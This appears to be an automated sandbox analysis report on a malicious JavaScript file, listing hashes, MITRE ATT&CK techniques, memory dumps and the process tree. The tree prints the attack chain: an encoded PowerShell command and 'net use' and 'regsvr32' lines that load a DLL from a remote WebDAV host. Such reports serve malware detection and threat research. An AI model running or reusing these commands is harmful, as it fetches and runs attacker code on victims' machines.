643297279e5562c1772337378280d71b6598da278a16a970305358032bf53c22

Analysis

max time kernel
14s
max time network
21s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
25/07/2024, 21:27

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General

Target

234912348282128518.js
Size

19KB
MD5

6efedd2ed0f8a1216d81738bab9b4a48
SHA1

ae06acf250e040287b9ca9bce64e6094d2e7b06b
SHA256

643297279e5562c1772337378280d71b6598da278a16a970305358032bf53c22
SHA512

2432ae65749b12c49be23739124c12bce51a645df2698b531fe54252002bff967c88396d0cc50ba8acf9abec6f85d70a7f49f778795796d64412ecc7d9981624
SSDEEP

384:Qpa7OzAAdNa0w88YUIwNSw6aRByUGmzZAd6ngm:Qpa7OUWa0w88YUIASw6aRByUGmzZAd6F

Score

6^/10

defense_evasion execution

Malware Config

Signatures

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2444	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2444	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1972 wrote to memory of 2444	1972	wscript.exe	29
PID 1972 wrote to memory of 2444	1972	wscript.exe	29
PID 1972 wrote to memory of 2444	1972	wscript.exe	29
PID 2444 wrote to memory of 2100	2444	powershell.exe	31
PID 2444 wrote to memory of 2100	2444	powershell.exe	31
PID 2444 wrote to memory of 2100	2444	powershell.exe	31
PID 2444 wrote to memory of 3064	2444	powershell.exe	32
PID 2444 wrote to memory of 3064	2444	powershell.exe	32
PID 2444 wrote to memory of 3064	2444	powershell.exe	32
PID 2444 wrote to memory of 3064	2444	powershell.exe	32
PID 2444 wrote to memory of 3064	2444	powershell.exe	32

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\234912348282128518.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADQANgAzADkAMgA3ADQAMwA3ADgAOAA1ADUALgBkAGwAbAA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2444
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\
    3⤵
    PID:2100
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\24639274378855.dll
    3⤵
    PID:3064

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2444-4-0x000007FEF5B9E000-0x000007FEF5B9F000-memory.dmp

Filesize
4KB

Download
memory/2444-6-0x000000001B120000-0x000000001B402000-memory.dmp

Filesize
2.9MB

Download
memory/2444-5-0x000007FEF58E0000-0x000007FEF627D000-memory.dmp

Filesize
9.6MB

Download
memory/2444-7-0x00000000022A0000-0x00000000022A8000-memory.dmp

Filesize
32KB

Download
memory/2444-8-0x000007FEF58E0000-0x000007FEF627D000-memory.dmp

Filesize
9.6MB

Download
memory/2444-9-0x000007FEF58E0000-0x000007FEF627D000-memory.dmp

Filesize
9.6MB

Download
memory/2444-10-0x000007FEF58E0000-0x000007FEF627D000-memory.dmp

Filesize
9.6MB

Download
memory/2444-11-0x000007FEF58E0000-0x000007FEF627D000-memory.dmp

Filesize
9.6MB

Download